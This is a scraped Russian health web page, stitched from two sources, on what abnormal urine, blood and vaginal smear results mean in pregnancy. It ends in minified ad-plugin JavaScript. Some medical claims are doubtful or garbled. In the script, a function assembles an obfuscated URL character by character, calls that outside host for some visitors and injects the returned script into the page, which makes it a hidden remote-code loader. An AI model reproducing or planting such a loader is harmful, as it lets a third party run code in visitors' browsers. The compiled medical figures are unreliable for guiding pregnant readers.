  • Кетоновые тела — их наличие говорит об обезвоживании и интоксикации организма. На ранних сроках проявляется при токсикозе, в иных случаях — при сахарном диабете.
  • Лейкоциты — в норме концентрация лейкоцитов в моче достаточно низкая. Ее повышение свидетельствует о воспалительных заболеваниях почек и мочеполовой системы. Чрезмерное повышение лейкоцитов называют пиурией. Ее можно обнаружить, просто взглянув на баночку со сбором — в мутной моче видны хлопья и нити гноя.
  • Эритроциты — повышение эритроцитов называется гематурией. Гематурия -это признак болезни почек, мочевыводящих путей и половых органов. Эритроциты при беременности в моче в норме либо отсутствуют, либо в виде одной-двух клеток содержатся в собранном для исследования материале.
  • Соли — содержатся в моче и являются нормой, если все остальные показатели также находятся в пределах нормы. Избыточное образование солей приводит к каменной болезни почек и мочевого пузыря. Нарушение водно-солевого обмена появляется при несбалансированном питании и несоблюдении питьевого режима. Соли делят на группы — оксалаты, фосфаты, ураты. Преобладание одних солей над другими говорит об определенном кислотно-щелочном балансе pH. Наличие фосфатов наблюдают при избыточном потреблении продуктов, богатых фосфором — гречки, овсянки, кисломолочных продуктов, рыбы. Образуются фосфаты в щелочной среде. Ураты образуются в кислой среде при обезвоживании (из-за жары, рвоты, диареи) или при избыточном потреблении мясной пищи. Оксалаты образуются и в кислой, и в щелочной среде, при употреблении в еду продуктов с высоким содержанием щавелевой кислоты.
  • Бактерии и грибы — свидетельство поражения мочеполовой системы, в здоровом организме отсутствуют.
  • Эпителий — эти клетки выстилают слизистую поверхность всех внутренних органов. Различают плоский, переходной и почечный эпителий. Плоский эпителий присутствует в осадке мочи при здоровой беременности. Норма — до трех клеток в поле зрения. Переходной может присутствовать в количестве одной клетки в поле зрения. Увеличение концентрации означает, что в мочевыводящих путях или почках протекает воспалительный процесс. Почечный эпителий в анализах здорового человека отсутствует. Его появление свидетельствует об инфекционном заболевании паренхимы или клубочков почек.
  • Слизь — небольшое ее количество присутствует в моче здорового человека и при беременности является одним из вариантов нормы. Увеличение ее количества свидетельствует о недостаточной гигиене половых органов.

При отклонении от нормы, особенно при подозрении на сахарный диабет и патологию почек,женщинам назначают суточный анализ мочи при беременности. Он показывает, что в организме повышен креатинин.

Особенность анализа состоит в том, что собирается весь объем мочи за сутки — с 6 утра одного дня до 6 утра следующего.Для определения инфекции дополнительно назначаются анализы мочи по Нечипоренко, Зимницкому, Каковскому-Аддису.

Важно знать, что любое отклонение от нормы может свидетельствовать о развитии того или иного заболевания в процессе беременности.

К чему приводит

Чем грозит нехорошая моча беременным? На самом деле ситуация гораздо серьезнее, чем может показаться на первый взгляд, ведь любое воспаление или инфекция может отрицательно сказаться на состоянии здоровья малыша. Поэтому очень важно не пускать ситуацию на самотек:

  • Пиелонефрит, признаком которого является присутствие лейкоцитов, может стать причиной гипоксии или инфицирования ребенка в утробе. Более того, иногда этот недуг приводит к выкидышу и последующему невынашиванию;
  • Высокий белок приводит к таким проблемам, как задержка развития плода, или преждевременные роды. Часто он является сопровождением таких опасного состояния, как преэклампсия, которое может закончиться гибелью матери или ребенка;
  • Повышение уровня сахара приводит к увеличению размеров малыша, а также может повысить для него риск заболеть сахарным диабетом в дальнейшем;
  • Если в моче обнаруживают соли, это может вызвать истончение костей скелета ребенка.

Любое заболевание будущей мамы требует лечения, ведь оно ухудшение ее состояния обязательно сказывается на крохе.

Цистит при беременности:

Администрация портала категорически не рекомендует заниматься самолечением и при первых симптомах болезни советует обращаться к врачу.

На нашем портале представлены лучшие врачи-специалисты, к которым можно записаться онлайн или по телефону. Вы можете выбрать подходящего врача сами или мы подберем его Вам абсолютно бесплатно.

Также только при записи через нас, цена на консультацию будет ниже, чем в самой клинике.

Источник: https://stopzaraza.com/venerologiya/ploxoj-analiz-mochi-pri-beremennosti-chem-chrevaty-dannye-pokazateli.html

Беременной плохая моча что делать. Плохие результаты анализа мочи при беременности: причины и чем это опасно

18.10.2019

На протяжении всей беременности женщине приходится неоднократно сдавать многочисленные анализы. Наиболее информативными являются анализы крови и мочи. Их нужно сдавать особенно часто.

Иногда результаты лабораторных исследований могут быть не очень хорошими.

Чем спровоцированы плохие анализы при беременности, и что делать в этот период? Во многом это зависит от того, в каком триместре было проведено исследование.

О чем свидетельствуют плохие анализы при беременности

При постановке на учет беременная женщина получает обширный список необходимых анализов. Обязательными являются лабораторные исследования крови и мочи. Для каждого анализа существуют установленные нормы. Отклонения от этих границ указывают на то, что в организме матери или плода появились патологии.

Некоторые женщины переносят весь период беременности легко, без осложнений, и анализы не констатируют никаких отклонений. Но что делать, если результаты анализов не укладываются в норму, и будущая мама попадает в группу риска?

О чем говорят плохие анализы крови при беременности

При изучении анализа крови врач, в первую очередь, обращает внимание на уровень гемоглобина, показатели лейкоцитов и тромбоцитов.

  • Гемоглобин у беременной имеет нижнюю границу – 110 г/л. В идеале коэффициент этого показателя должен равняться 120-140 г/л. Понижение его уровня свидетельствует о развитии анемии, что может привести к кислородному голоданию плода и, как следствие, к отставанию его развития.
  • Лейкоциты – один из важных показателей в анализе крови. Верхняя граница лейкоцитов достигает 9 единиц, нижняя – 4 единицы. Превышение верхнего предела говорит о развитии инфекции в организме. Не считается патологией небольшое повышение лейкоцитов во второй половине беременности.
  • Тромбоциты – их количество не должно опускаться ниже 150 тыс./мкл. При низком уровне беременная имеет плохую сворачиваемость крови, что чревато кровотечением во время родов. Повышение тромбоцитов (более 400 тыс./мкл) может привести к образованию венозных и артериальных тромбозов. Зачастую это приводит к самопроизвольным выкидышам.

Плохими анализами при беременности считаются те, которые имеют значительные отклонения от следующих показателей:

  • Цветной показатель – 0,86-1,1;
  • Гемоглобин – 120-140 г/л;
  • СОЭ – 2-15 мм/ч;
  • Эритроциты – (3,9-4,7)х1012 кл/л;
  • Лейкоциты – (4,0-9,0)х109 л, во втором и третьем триместре уровень может повышаться до 11 единиц;
  • Тромбоциты – 150-390 тыс./мкл;
  • Палочкоядерные нейтрофилы – 1-6%;
  • Сегментоядерные нейтрофилы – 47-72%;
  • Метамиелоциты – 0%;
  • Миелоциты – 0%;
  • Эозинофилы – 0,5-5%.

Изучив свой анализ крови и обнаружив отклонения от нормы, не спешите самостоятельно делать выводы. Заключение о том, насколько являются на самом деле плохими анализы при беременности, должен сделать только врач.

О чем говорят плохие анализы мочи при беременности

Обычно анализ мочи сдается при каждом плановом посещении женской консультации – один раз в две недели. Он позволяет судить о состоянии работы почек и всего организма в целом. Критические отклонения от нормы могут нести угрозу жизни не только плоду, но и будущей матери. Анализ мочи при беременности индексируется по многим параметрам. Но основными являются следующие:

  • Белок. Значительное повышение характеризует развитие гестоза в третьем триместре или обострение хронических заболеваний. Если белок в моче превышает показатель 300 мг в сутки – это свидетельствует о патологии даже при отсутствии других симптомов. Обычно в таком случае беременную госпитализируют, и она находится под наблюдением гинеколога и уролога. Высокий уровень белка в моче может сопровождаться отеками, большой прибавкой веса и повышением артериального давления. Это является признаком нарушения функций почек различной этиологии. Содержание белка в небольших количествах (до 0,033 г/л) – норма для беременной женщины.
  • Лейкоциты, гной, фосфаты, бактерии и др. Их присутствие в моче может говорить о различных заболеваниях мочеиспускательной системы, например, о пиелонефрите.
  • Кетоновые тела. Наличие их в моче сопровождается запахом ацетона и возникает во время обезвоживания организма. Обычно причиной этого становятся токсикоз, частые рвоты или недостаточное употребление жидкости.

Мазок из влагалища

В данном случае плохой анализ при беременности, в первую очередь, характеризуется наличием лейкоцитов.

Если их количество превышает 15 единиц, то это говорит о проходящем воспалительном процессе в цервикальном канале (цервицит) или во влагалище (кольпит).

Кроме того, анализ мазка может показать присутствие половых инфекционных заболеваний, которые необходимо излечить до рождения ребенка.

Следить за результатами анализов необходимо на протяжении всей беременности, строго придерживаясь графика.

Плохие анализы при беременности: первый триместр

Биохимический анализ крови свидетельствует о качестве обменных процессов в организме, а также о содержании микроэлементов и витаминов. При помощи этого анализа врач может оценить работу некоторых органов. Патологией при биохимии крови считается наличие повышенного показателя глюкозы, что свидетельствует о развитии сахарного диабета у беременной женщины.

Обязательным анализом в первом триместре является исследование, определяющее группу крови и резус-фактор. В том случае, если у женщины резус отрицательный, а у мужчины –положительный, то будущей маме придется сдавать анализ на резус-конфликт. В первой половине беременности эта процедура проводится раз в месяц, во второй – один раз в две недели.

Плохие анализы при беременности: второй триместр

Кроме обязательных анализов на сроке 14-18 недель женщине предлагают сдать «тройной тест», определяющий генетические патологии и дефекты развития плода.

При плохих показателях беременную направляют на повторное исследование. Если результат повторился, то проводят исследование околоплодных вод – амниоцентез.

Этот анализ подтверждает присутствие или отсутствие генетических патологий у ребенка.

Плохие анализы при беременности: третий триместр

Источник: https://tnuva.ru/beremennoi-plohaya-mocha-chto-delat-plohie-rezultaty-analiza-mochi-pri.html

Ссылка на основную публикацию
var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";function flatPM_sticky(e,a,t){var l=e,d=null,f=t=t||0;function n(){if(null==d){for(var e=getComputedStyle(l,""),t="",n=0;nflat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(//gm,"").replace(//gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'
Закрыть через '+o.how.popup.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(o,"<$1>$2>")+r[2],l=r[0];l--;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"ng"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,l='
'+r+'
',i=e.once;n(t).each(function(){var e=n(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==l.indexOf("go"+"oglesyndication")?t.append(l):flatPM_setHTML(t[0],l),e.find(".flat__4_video_flex").one("click",function(){n(this).addClass("show")})}),n("body").on("click",".flat__4_video_item_hover",function(){var e=n(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),r=parseInt(o),l=setInterval(function(){a.text(--r),r<=0&&(clearInterval(l),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){n(this).closest(".flat__4_video_flex").remove(),"true"==i&&n(".flat__4_video_flex").remove()})}